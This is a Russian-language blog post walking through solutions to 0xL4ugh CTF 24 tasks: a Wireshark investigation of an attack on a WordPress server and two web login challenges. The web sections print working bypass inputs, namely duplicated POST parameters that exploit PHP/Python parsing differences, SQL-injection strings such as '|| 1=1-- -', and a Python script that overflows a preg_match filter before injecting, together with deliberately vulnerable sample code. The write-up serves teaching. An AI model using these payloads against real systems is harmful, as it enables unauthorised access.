Можно ли взломать хакера? Распутываем кибератаки с CTF-турнира. Часть 3

h7p04s9rt1_vz6dj_dmknpzofsw.png


Привет, Хабр! Продолжаем путешествовать по CTF-турнирам. Из последних — 0xL4ugh CTF 24 от одноименной команды из Египта. В статье расскажу, как я решил задачи из категории DFIR (Digital Forensics and Incident Response) и web. Сохраняйте в закладки: пригодится как опытным, так и начинающим специалистам по информационной безопасности.

Дисклеймер: материал не обучает хакингу и не призывает к противозаконным действиям. Все описанное ниже лишь демонстрирует, какие пробелы в безопасности встречаются в реальных веб-приложениях. И предупреждает, на что нужно обратить внимание при разработке программного обеспечения.
Используйте навигацию, чтобы выбрать интересующий блок:

→ Подробнее о турнире
→ Категория DFIR
→ Категория web
→ Заключение

Подробнее о турнире


В этом году команда 0xL4ugh анонсировала турнир следующим образом:

«Мы постарались сделать 0xL4ugh CTF 24 (третью версию) максимально сложным, полезным и забавным. Большинство задач в этом году основаны на реальных случаях и исследованиях. Оставайтесь на связи».


В течение суток участникам нужно было решить 36 заданий из категории web, DFIR, reverse, crypto, pwn, misc и osint. Информация о мероприятии, как обычно, была на CTFtime. Советую отслеживать анонсы мероприятия там, если хотите быть в курсе популярных CTF-турниров.

Категория DFIR


Задача: WordPress 1


Условие

На сайте WordPress произошел сбой в системе безопасности, и точный способ взлома на данный момент не определен. Нам нужна ваша помощь, чтобы выяснить, что же произошло на самом деле.

  1. Два злоумышленника пытались скомпрометировать нашу среду. Какие IP-адреса были у жертвы и первого злоумышленника?
  2. Какие были версии у серверов Apache и PHP, установленных в нашей среде?


Дано

  • Flag Format 0xL4ugh{A1_A2}
    Example: 0xL4ugh{IP1_IP2_apache1.2.3_php1.2.3}(no spaces),
  • файл.


Решение

Чтобы собрать флаг в этом таске, нужно ответить на два вопроса. Приступим!

Шаг 1


Открываю в Wireshark приложенный к заданию файл. По логике сначала идет разведка (сканирование), поэтому предполагаю, что первый атакующий — это инициатор сканов.

Перехожу из Статистики в HTTP, затем — в Последовательность запросов.

5ju0braq8w8vmtl7_pocta2jjpk.png


Вижу несколько запросов к 192.168.204.128. Название явно указывает, что там находится Wordpress.

Шаг 2


Теперь перехожу в общий файл и начинаю его фильтровать:

ip.dst == 192.168.204.128 and http contains "GET"


Трафики от 192.168.204.1 и 192.168.204.132 похожи на индикатор скана. Смотрю информацию у последнего IP-адреса и вижу, что User-Agent содержит WPScan v3.8.25 и sqlmap 1.7.12#stable%:

gvsjq-edxdevixdx-ayz_hyb_ay.png


wjsih3nznxcx8qqhus_9ecrkes8.png


Очевидно, IP-адрес 192.168.204.132 сканировал жертву с помощью этих утилит.

Шаг 3


Далее меняю предыдущий фильтр на следующий адрес:

ip.src == 192.168.204.128 and ip.dst == 192.168.204.132


В ответе вижу php_8.2.12 и Apache_2.4.58.

sdzenuwx7e7gb94en8uctsfcdsq.png


Готово — собираю флаг:

0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}


nmbz_eygyu_olpkjgx9ri73qrmw.png


Категория web


Задача: Micro


Задание:

Помните Bruh 1,2? Это bruh 3: D

Войдите под логином admin: admin, и вы получите флаг :*

Дано


Решение

Шаг 1


У нас есть доступ на страницу с формой авторизации и исходники приложения:

qhd_gddwy-oxkj1wsoh0z72qwl4.png


Перехожу к исходникам. Меня интересуют три файла из архива: init.db, index.php и app.py. Рассмотрим каждый подробнее.

Файл init.db. В нем находится блок кода:

CREATE TABLE IF NOT EXISTS `users` (
  `id` varchar(50) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(50) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;


При запуске приложения создается таблица с тремя столбцами: ID, username и password. Затем:

insert into users(id,username,password) values('1','admin','21232f297a57a5a743894a0e4a801fc3'); 


В таблицу добавляется одна запись, а в столбец password — md5-hash с admin.

Шаг 2


Файл index.php. Содержит данные по обработке POST-запроса сервером.

if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
$username=$_POST['username'];
$password=md5($_POST['password']);
       		if(Check_Admin($username) && $_SERVER['REMOTE_ADDR']!=="127.0.0.1")
        		{
            		die("Admin Login allowed from localhost only : )");
       		}		
        		else
        		{
            		send_to_api(file_get_contents("php://input"));
        		}   

	}
	else
	{
		echo "";
	}
}


Здесь выполняется проверка, чтобы поле username и password не были пустыми. После — полученные данные записываются в соответствующие переменные, а username отдается на проверку в функцию Check_Admin:

function Check_Admin($input)
{
        $input=iconv('UTF-8', 'US-ASCII//TRANSLIT', $input);   // Just to Normalize the string to UTF-8
        if(preg_match("/admin/i",$input))
        {     
                return true;
        }
        else
        {
                return false;
        }
}


Check_Admin ответит значением true, если в поле username содержится admin. В противном случае — вернет false.

Если функция Check_Admin ответит true и $_SERVER['REMOTE_ADDR'] не будет равен 127.0.0.1, то приложение вернет Admin Login allowed from localhost only:). В противном случае отправит данные на порт 5000, в котором находится API для запроса в базу данных через скрипт app.py.

Шаг 3


Файл app.py. Приложение никак не обрабатывает данные из username, но подсчитывает хэш из password:

password = hashlib.md5(request.form.get('password').encode()).hexdigest()


Данные отправляются на проверку в функцию authenticate_user ():

def authenticate_user(username, password):
    try:
        conn = mysql.connector.connect(
            host=mysql_host,
            user=mysql_user,
            password=mysql_password,
            database=mysql_db
        )

        cursor = conn.cursor()

        query = "SELECT * FROM users WHERE username = %s AND password = %s"
        cursor.execute(query, (username, password))

        result = cursor.fetchone()

        cursor.close()
        conn.close()

        return result  
    except mysql.connector.Error as error:
        print("Error while connecting to MySQL", error)
        return None


Итого, по логике приложения можно сделать вывод, что если, как указано в задании, передать в форму username=admin и password=admin, то фильт preg_match в index.php вернет значение true. Запроса к БД не будет, и я не получу флаг.

Если обратиться к $_SERVER['REMOTE_ADDR'] с сервера, в котором находится приложение, он будет равен 127.0.0.1. PHP вытащит эти данные из сетевого стека, поэтому передача заголовка HTTP «REMOTE_ADDR: 127.0.0.1 не подойдет.

Кроме того, условие if (Check_Admin ($username) && $_SERVER['REMOTE_ADDR']!==»127.0.0.1») можно обойти, если функция Check_Admin ответит false. Тогда данные уйдут на обработку в app.py.

Если не ввести admin в username, то запрос к базе данных не выдаст оттуда запись. Для этого нужно одним запросом передать username с двумя условиями:

  • Username не должен содержать admin, чтобы обойти фильтр функцией preg_match php.
  • Username должен содержать admin, чтобы python забрал его в SQL-запрос.


Задача кажется противоречивой, но ответ — в том, как PHP и Python принимают данные из POST-запроса. Если передать несколько одинаковых параметров в теле HTTP, то Python возьмет данные из первого параметра, а PHP — из последнего.

Шаг 4


Добавлю к index.php вывод параметра username в POST-запросах, чтобы проверить предположение.

if(isset($_POST['login-submit']))
{
if(!empty($_POST['username'])&&!empty($_POST['password']))
	{
$username=$_POST['username'];
$password=md5($_POST['password']);

		echo "";

		if(Check_Admin($username))  
{
send_to_api(file_get_contents("php://input"));
}   

	}
	else
	{
		echo "";
	}
}


Далее собираю и запускаю новый Docker image:

sudo docker build Micro_togive --tag "micro_test"
sudo docker run micro_test


Теперь передаю в форму значения ниже и получаю результат:

7_wsa3kchyh2mcszle2pepa7zza.png


eonlxyudutfju17dnfw25fgswxw.png


По такому принципу в POST-запрос можно отдать и больше параметров. Результат не изменится:

-yb-uotloq3ads9oaxuzkxpkgms.png


Чтобы обойти фильтр preg_match php, в последнем значение username отдаю строку, не содержащую admin. А чтобы удовлетворить SQL-запрос в app.py, указываю первым параметром именно admin. Далее передаю значения в оригинальное тестовое приложение, запущенное в Docker.

ta9rpv_nmx2gcsqtgi3t_jou_mm.png


Шаг 5


Я получил тестовый флаг, теперь нужно передать его в боевое приложение.

username=admin&username=anydata1&username=anydata2&password=admin&login-submit=


7jdmc3q8r9sc61hixz8fe3am8nw.png


Задача решена — флаг у меня!

Задача: Simple WAF


Задание

Я внес в белый список входные значения, так что, думаю, я в безопасности: P

Автор: abdoghazy

Дано


Решение

Шаг 1


По ссылке — форма из предыдущего задания:

348iggjfmnbxvjk8r1c3gntrtay.png


Перехожу к файлам из предыдущего архива.

В init.db нам снова предлагают создать таблицу с тремя столбцами.

CREATE TABLE IF NOT EXISTS `users` (
  `id` varchar(50) NOT NULL,
  `username` varchar(20) NOT NULL,
  `password` varchar(50) NOT NULL
) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=66 ;


И добавить запись об администраторе:

insert into users(id,username,password) values('1','admin','c0b12ccad044e2e525cf818077413c4c');


На этот раз пароль — не admin. Хеш md5 к нему не подходит.

Шаг 2


В этом index.php есть ряд условий:

if(isset($_POST['login-submit']))
{
        if(!empty($_POST['username'])&&!empty($_POST['password']))
	      {
                $username=$_POST['username'];
                $password=md5($_POST['password']);
                if(waf($username))
                {
                        die("WAF Block");
                }
                else
                {
                        $res = $conn->query("select * from users where username='$username' and password='$password'");
                        if($res->num_rows ===1)
                        {
                                echo "0xL4ugh{Fake_Flag}";
                        }
                        else
                        {
                                echo "";
                        }
                }
	      }
        else
	      {
		            echo "";
	      }
}


Если username и password в отправленном POST-запросе не пустые, то идет проверка в функции waf:

function waf($input)
{
        if(preg_match("/([^a-z])+/s",$input))
        {
                return true;
        }
        else
        {
                return false;
        }
}


Дальнейшая обработка запроса происходит только в том случае, если проверка в waf прошла неуспешно. После этого она выполняет запрос к базе данных:

select * from users where username='$username' and password='$password'


Шаг 3


Если в результате запроса к БД количество строк равняются единице, то мы получим флаг. Для этого необходимо выполнить два условия.

  1. Данные в username не должны попадать под шаблон:
preg_match("/([^a-z])+/s",$input)


  1. Запрос к БД должен вернуть только одну строку:
if($res->num_rows ===1)
{
echo "0xL4ugh{Fake_Flag}";
}


Поскольку в базе данных находится одна строка, то обход авторизацию должен сработать независимо от переданных значений username, password. Добавляю условие, чтобы обойти авторизацию:

‘ or 1=1;#
‘ or 1=1;-- -
‘ or true;#
‘ or true;-- -

Данные в username не должны попадать под шаблон preg_match (»/([^a-z])+/s»,$input). В нем происходит проверка наличия букв: если она есть, то запрос к БД не доходит. Поэтому стоит учитывать фильтр preg_match php, чтобы не допустить появление букв в username.

Прикладываю пример альтернативного обхода авторизации, который не содержит букв:

8n656b8bcpyx0cs4wz9s-iixh1m.png


В итоговой SQL-инъекции меняю or 1=1-- — на || 1=1-- -.

Шаг 4


Теперь необходимо решить, как обойти preg_match (). По ссылке можно найти информацию о функции и ее ошибках. Делаю вывод, что preg_match, являясь PCRE-функцией, рекурсивно проверяет переданную строку по шаблону и имеет предел входных значение. Информацию о лимитах функции нашел в руководстве по PHP. При превышении этого значения waf вернет false, что нам и требуется.

Собираю POST-запрос в Python и передаю его в тестовое приложение, запущенное в Docker. Собираю Docker image и запускаю контейнер:

$ sudo docker build simple_waf_togive --tag "waf"
$ sudo docker run waf


Пишу скрипт test_waf.py.

Интересное наблюдение: при 10»001 символов функция возвращает false. Возможно, это значение может быть еще ниже, его можно определить параметром pcre.recursion_limit в php.ini.
import requests

address = 'http://172.17.0.2/'
username = '1'*10001 + "' || 1=1-- -"
password = 'any'

data = {'username':username, 'password':password, 'login-submit':''}

print(requests.post(address,data).text)


В ответе получаю страницу с тестовым флагом:

gvbczjy9m3djc-mgpiqjt9rvnmc.png


Теперь этим скриптом можно обратиться к основному приложению, чтобы получить флаг:

znl5szuarflhf0bhmlj57swccco.png


Готово!

Заключение


Мне понравилось турнир от крутой египетской команды. Задачки по Web и DFIR были очень интересными: сначала нужно было найти хакера, а затем самим оказаться на его месте. Надеюсь, в следующем году будет не менее захватывающее!

Задачи с каких CTF-турниров показались вам интересными? Делитесь своими вариантами в комментариях!

© Habrahabr.ru